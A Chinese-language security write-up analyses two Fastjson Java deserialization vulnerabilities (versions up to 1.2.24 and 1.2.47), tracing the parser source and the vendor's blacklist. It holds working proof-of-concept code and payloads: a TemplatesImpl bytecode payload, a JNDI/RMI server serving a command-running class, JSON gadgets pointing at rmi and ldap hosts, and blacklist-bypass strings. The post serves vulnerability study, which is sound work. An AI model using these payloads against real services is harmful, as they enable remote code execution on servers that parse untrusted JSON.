哔哔两句
JSON 在 Java 的反序列化漏洞中也算得上是一个重灾区,在开发者最常用的几个 JSON 类库都被爆出来过漏洞。
它们通常会被当做缓存数据,存储在 redis 这种缓存服务器中,或者通过 rest 交互时对 JSON 数据进行解析,问题大多出现在这两种场景下。
开发者常用的主要就是 jackson fastjson 这两个 JSON 处理类库
这篇文章主要先对 fastjson 的两个反序列化漏洞做一下分析记录
Fastjson 反序列化 1
这是2017年官方自己爆出来的一个反序列化漏洞'
影响范围在<= 1.2.24 的版本
复现
首先来了解一下 FastJSON 是如何序列化与反序列化对象的。
Person person = new Person();
person.name="blue";
person.length=18;
String s = JSONObject.toJSONString(person);
String s1 = JSONObject.toJSONString(person, SerializerFeature.WriteClassName);
System.out.println(s);
System.out.println(s1);
Object parse = JSON.parse(s);
Object parse1 = JSON.parse(s1);
System.out.println("type:"+ parse.getClass().getName() +" "+parse);
System.out.println("type:"+ parse1.getClass().getName() +" "+parse1);
这里实例化了一个 Person 对象,转了两次JSON字符串,又分别进行了两次 JSON 对象解析。
{"length":18,"name":"blue"}
{"@type":"simple.Person","length":18,"name":"blue"}
type:com.alibaba.fastjson.JSONObject {"name":"blue","length":18}
type:simple.Person Person{name='blue', length=18}
从结果来看,使用了 SerializerFeature.WriteClassName 比上一个JSON字符串多出来了一个 "@type"属性
而且在字符串转JSON对象的时候,第一个是被转成了 JSONObject 对象,第二个被反序列化回了 Person 类型的对象。
由此可知 @type 是用于在解析 JSON 时指定类的。
先弹他一个计算器。
Test.java
/**
* @author 浅蓝
* @email [email protected]
* @since 2019/7/8 11:05
*/
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet {
public Test() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
Test t = new Test();
}
}
FastJson.java
/**
* @author 浅蓝
* @email [email protected]
* @since 2019/7/8 10:52
*/
public class FastJson {
public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());
}
public static void main(String[] args) throws Exception {
ParserConfig config = new ParserConfig();
final String evilClassPath = System.getProperty("user.dir") + "\\target\\classes\\json\\Test.class";
String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"]," +
"'_name':'a.b'," +
"'_tfactory':{ }," +
"\"_outputProperties\":{ }}\n";
System.out.println(text1);
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
}
}
Payload
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ }}
从这几行代码来看,其实就是将 Test.java 编译后的字节码转成 Base64 然后拼接到了一个 JSON 字符串中,最后使用 JSON.parseObject 方法解析成 Java 对象。
在这个 JSON 字符串中可以看得到几个关键字 TemplatesImpl
、outputProperties
、_bytecodes
,我在上一篇文章《Java 反序列化漏洞始末(2)— JDK》中就有讲到过,这是利用了 JDK 1.7 的类触发了漏洞,其中原理不再细讲,只需要知道调用TemplatesImpl.getOutputProperties()
会触发漏洞代码。
在上面的代码可以看到有用到一个 Feature.SupportNonPublicField 的参数,实际上这种情况很少会被用到。
其作用就是支持反序列化使用非public修饰符保护的属性。
上面的那段JSON 里的大部分属性都是私有的,所以需要用到这个参数,其原理不再细究。
这里主要以 JNDI 注入为例讲解。先给出 Payload
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1999/Exploit","autoCommit":true}
先从这段 JSON 的字面意思上来理解一下他做了什么。
- 首先指定了该对象要反序列化的类为 com.sun.rowset.JdbcRowSetImpl
- 设定属性 dataSourceName rmi://127.0.0.1:1999/Exploit ,实际上是在调用 setDataSourceName 方法
- 设定 autoCommit 属性为 true,实际上也是在调用其 setter 方法
根据猜想,应该是做了这几件事
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("rmi://127.0.0.1:1999/Exploit");
jdbcRowSet.setAutoCommit(true);
在 setAutoCommit 方法中判断了如果 connect 为空就去调用 connect 方法。
protected Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName()); // 在这一步去连接 DataSource ,触发 JNDI 注入
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}
在注释处调用了 InitialContext 对象的 lookup 方法触发 JNDI 注入
现在复现一遍这个 JNDI 注入版的 payload
JNDI Server
public class JNDIServer {
public static void start() throws
AlreadyBoundException, RemoteException, NamingException {
Registry registry = LocateRegistry.createRegistry(1999);
Reference reference = new Reference("Exploit",
"Exploit","http://127.0.0.1/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit",referenceWrapper);
}
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
start();
}
}
Exploit.java
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("calc");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
在解析 JSON 之前需要先将 Exploit.java 编译为 Exploit.class,然后放置本地 80 端口服务器下
使 http://127.0.0.1/Exploit.class 可正常访问到该文件内容
然后启动 JDNIServer 绑定本地 1999 端口,最后使用 fastjson 解析该 payload。
解析的过程中会去访问 127.0.0.1 的 1999 端口,该端口绑定着 RMI 服务,RMI 服务又会去 127.0.0.1 80 端口的 WEB 服务访问 Exploit.class,最后初始化该对象,触发执行系统命令的代码。
分析
现在对这个问题进一步的分析一下(无论想知道哪个RCE漏洞的原理,只要在最终被调用的地方打个断点就什么都知道了)
在 JSON 类的 parse 方法最后是实例化了一个 DefaultJSONParser
对象又调用了其 parse()
方法
跟踪 parse()
方法
public Object parse(Object fieldName) {
JSONLexer lexer = this.lexer;
switch(lexer.token()) {
case 1:
case 5:
case 10:
//....
发现这里根据 this.lexer.token() 做了一个 switch 判断
这个 lexer 属性实际上是在 DefaultJSONParser 对象被实例化的时候创建的
public DefaultJSONParser(String input, ParserConfig config, int features) {
this(input, new JSONScanner(input, features), config);
}
这一步调用的另外一个构造函数
public DefaultJSONParser(Object input, JSONLexer lexer, ParserConfig config) {
//.....
}
lexer 也就是 new JSONScanner(input, features)
继续跟进,在这个 DefaultJSONParser
构造方法里 124 行的位置调用了 lexer.getCurrent()
这里实际上是获取 lexer 的 ch
属性。
在 JSONScanner 对象被实例化的时候调用了 next() 方法
在这个方法中对 ch
属性赋了值
public final char next() {
int index = ++this.bp;
return this.ch = index >= this.len ? '\u001a' : this.text.charAt(index);
}
在实例化时第一次被调用,所以获取的是 JSON 字符串的第一个字符,既 {
int ch = lexer.getCurrent();
if (ch == '{') {
lexer.next();
((JSONLexerBase)lexer).token = 12;
} else if (ch == '[') {
lexer.next();
((JSONLexerBase)lexer).token = 14;
} else {
lexer.nextToken();
}
所以在 DefaultJSONParser
构造方法里这段代码意思就很简单了,判断第一个字符串如果是 {
的话就让 lexer 对象的 token 属性值为 12
继续回到 parse
方法的 switch 判断点处。
目前已知第一个字符是 {
对应 token 12
case 12:
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
return this.parseObject((Map)object, fieldName);
所以应进入 case 12
的分支
这里 new 了一个 JSONObject 对象
然后调用 DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)
方法去解析,filedName 参数此处为 null,因为还没有开始解析 JSON 里的字段
进入此方法后先检测了 JSON 格式是否合规后,判断下一个字符串是否为 "
if (ch == '"') {
key = lexer.scanSymbol(this.symbolTable, '"');//取出""中的键名 即 @type
lexer.skipWhitespace();
ch = lexer.getCurrent();
if (ch != ':') {
throw new JSONException("expect ':' at " + lexer.pos() + ", name " + key);
}
}
在JSON串中{
下一个是"
,自然符合判断,然后接着向后读取
ch = lexer.getCurrent();
lexer.resetStringPosition();
Object obj;
Object instance;
String ref;
Object thisObj;
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
ref = lexer.scanSymbol(this.symbolTable, '"'); // 获取 @type 对应的值 com.sun.rowset.JdbcRowSetImpl
Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
if (clazz != null) {
//...
}
//...
}
key == JSON.DEFAULT_TYPE_KEY
去判断取出来的键是否和JSON.DEFAULT_TYPE_KEY
相等
public static String DEFAULT_TYPE_KEY = "@type";
接着又取出了 @type 的值,交给TypeUtils.loadClass
方法获取类对象
public static Class<?> loadClass(String className, ClassLoader classLoader) {
if (className != null && className.length() != 0) {
Class<?> clazz = (Class)mappings.get(className); // mappings 里缓存了一些常用的基本类型,com.sun.rowset.JdbcRowSetImpl肯定是不在这里的
if (clazz != null) {
return clazz;
} else if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
} else if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
} else { // 最终走到 最后一个else分支里
try {
if (classLoader != null) {
clazz = classLoader.loadClass(className);
mappings.put(className, clazz);
return clazz;
}
} catch (Throwable var6) {
var6.printStackTrace();
}
try {
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if (contextClassLoader != null) {
clazz = contextClassLoader.loadClass(className); // 加载类
mappings.put(className, clazz); //将类对象缓存在 mappings 对象
return clazz;
}
} catch (Throwable var5) {
;
}
try {
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;
} catch (Throwable var4) {
return clazz;
}
}
} else {
return null;
}
}
只要类存在,无论如何这里最终都会将类对象缓存在 mappings 里
在该版本里,这个地方不重要,和漏洞利用无关,就是顺带讲一下。
Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
if (clazz != null) {
//...
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName); // 开始进入反序列化阶段
return thisObj;
}
this.config.getDeserializer(clazz);
这一段最终通过 createJavaBeanDeserializer 方法得到 ObjectDeserializer 对象
反序列化属性的具体方法可以直接跟进到
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze()
里面具体操作就是通过反射调用 setter 方法赋值
当执行到 JdbcRowSetImpl 对象的 setAutoCommit 方法时,就触发了漏洞
Fastjson 反序列化 2
这个漏洞是最近被曝出来的,影响范围扩大到了 1.2.47
原理是通过类缓存绕过反序列化黑名单
先看看,fastjson 上一个漏洞的安全版本 1.2.25 是如何修复的
拿之前的 payload 测试解析时会抛出这样异常,意为该类不支持 autotype
Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.sun.rowset.JdbcRowSetImpl
对比 parseObject 方法
1.2.24
ref = lexer.scanSymbol(this.symbolTable, '"');
Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
1.2.25
ref = lexer.scanSymbol(this.symbolTable, '"');
Class<?> clazz = this.config.checkAutoType(ref, (Class)null);
获取类对象的方法由 TypeUtils.loadClass
变成了this.config.checkAutoType
ParserConfig 类也多了一些东西
this.autoTypeSupport = AUTO_SUPPORT;
this.denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");
this.acceptList = AUTO_TYPE_ACCEPT_LIST;
denyList 可以算是一个包名黑名单,包名开头包含这些了这些黑名单的话就会抛出异常,终止解析 JSON
追踪到这个 checkAutoType 方法里看一下其中主要的代码
if (!this.autoTypeSupport) { // 如果没有开启 autoType
String accept;
int i;
for(i = 0; i < this.denyList.length; ++i) { //遍历黑名单
accept = this.denyList[i];
if (className.startsWith(accept)) { // 判断类名开头是否包含了黑名单里的包名
throw new JSONException("autoType is not support. " + typeName);
}
}
for(i = 0; i < this.acceptList.length; ++i) { // 白名单判断
accept = this.acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
不过,在 1.2.41 版本,有了一种绕过黑名单的方法,但需要开启 autoType,影响不大。
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse("{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://10.165.93.31:1090/evil\",\"autoCommit\":true}");
正常这样解析的话,即使开了 autoType 也会被黑名单拦下来。
把 @type 改成 Lcom.sun.rowset.JdbcRowSetImpl;
就不一样了
在 checkAutoType 时因为,Lcom.sun
不符合黑名单com.sun
开头的规则,所以代码会继续走下去
直到
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
}
TypeUtils.loadClass
这个方法就比较眼熟了,在fastjson上一个漏洞的分析时讲到过
来看下重要部分的代码
Class<?> clazz = (Class)mappings.get(className);
if (clazz != null) {
return clazz;
} else if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
} else if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
- 第三个if判断
判断雷鸣如果开头是L
结尾是;
就把头和尾的最后一个字符串截取出来加载
现在针对 1.2.25 - 1.2.42 可以使用如下方法绕过
Lcom.sun.rowset.JdbcRowSetImpl;
LLLcom.sun.rowset.JdbcRowSetImpl;;;
因为它会递归的去判断类名是否包含 L 和 ; 所以可以一直延长
另外,自 1.2.42 起, fastjson 黑名单由一串字符串变成了 long 数字
1.2.42
this.denyHashCodes = new long[]{-8720046426850100497L, -8109300701639721088L, -7966123100503199569L, -7766605818834748097L, -6835437086156813536L, -4837536971810737970L, -4082057040235125754L, -2364987994247679115L, -1872417015366588117L, -254670111376247151L, -190281065685395680L, 33238344207745342L, 313864100207897507L, 1203232727967308606L, 1502845958873959152L, 3547627781654598988L, 3730752432285826863L, 3794316665763266033L, 4147696707147271408L, 5347909877633654828L, 5450448828334921485L, 5751393439502795295L, 5944107969236155580L, 6742705432718011780L, 7179336928365889465L, 7442624256860549330L, 8838294710098435315L};
还有另一个黑名单绕过方法,范围在 1.2.42-1.2.45。
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://127.0.0.1:1090/Evil"
}
}
org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
这个类是 mybatis 的类,需要 mybatis 依赖,原理同 JdbcRowSetImple
以上皆为铺垫,现在才是关于这个漏洞正文。
复现
先上 payload
{
"name":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"f":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://10.165.93.31:1090/evil",
"autoCommit":"true"
}
}
在 1.2.47 范围内通杀,在此不做演示
分析
从 payload 来看,实际上就是反序列化了两个对象
至于为什么可以绕过黑名单和 autoType,看接下来的代码分析
fastjson 首先会去解析第一个 JSON 对象
{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
}
取出 @type 的值 java.lang.Class
进入 checkAutoType
方法
java.lang.Class 不在黑名单里,检查可以顺利通过
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
在取 ObjectDeserializer 对象的时候,由于在 ParserConfig 类的 deserializers Map属性里在初始化的时候对 Class.class
指定了所使用的处理类
this.deserializers.put(Class.class, MiscCodec.instance);
所以最终应进入 com.alibaba.fastjson.serializer.MiscCodec#deserialze
方法开始序列化对象
obj = deserializer.deserialze(this, clazz, fieldName);
来看一个代码片段
//..
if (clazz == Class.class) {
return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}
//...
在 deserialze 方法里取出了 val 的值,也就是com.sun.rowset.JdbcRowSetImpl
交给了 TypeUtils.loadClass
处理
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
if (className != null && className.length() != 0) {
Class<?> clazz = (Class)mappings.get(className);
if (clazz != null) {
return clazz;
} else if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
} else if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
} else {
try {
if (classLoader != null) {
clazz = classLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch (Throwable var7) {
var7.printStackTrace();
}
try {
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if (contextClassLoader != null && contextClassLoader != classLoader) {
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch (Throwable var6) {
;
}
try {
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;
} catch (Throwable var5) {
return clazz;
}
}
} else {
return null;
}
}
这个方法不用我再多说,它会对传过来的类名字符串在mappings找对应的缓存类对象
如果没有就加载一个类对象,并添加到 mappings 缓存起来
至此第一个 JSON 对象解析完毕。
开始分析第二个 JSON 对象的解析过程
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://10.165.93.31:1090/evil",
"autoCommit":"true"
}
理论上来讲,这个类应该是会被黑名单ban掉的。
再回顾一下 checkAutoType 都做了些什么
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
} else if (typeName.length() < 128 && typeName.length() >= 3) {
String className = typeName.replace('$', '.');
Class<?> clazz = null;
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
long h1 = (-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L;
if (h1 == -5808493101479473382L) {
throw new JSONException("autoType is not support. " + typeName);
} else if ((h1 ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
throw new JSONException("autoType is not support. " + typeName);
} else {
long h3 = (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L ^ (long)className.charAt(2)) * 1099511628211L;
long hash;
int i;
if (this.autoTypeSupport || expectClass != null) {
//...省略
}
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName); // 重要的在这一步
}
if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
}
//...省略
这里第一步就去调用了 TypeUtils.getClassFromMapping()
方法去获取类对象
public static Class<?> getClassFromMapping(String className) {
return (Class)mappings.get(className);
}
实际上就是从 mappings 里拿缓存起来的类对象,由于刚才解析第一个对象的时候已经把 JdbcRowSetImpl
对象再mappings里缓存了起来
所以这里直接获取到了 JdbcRowSetImple.class
略过了后面的黑名单审查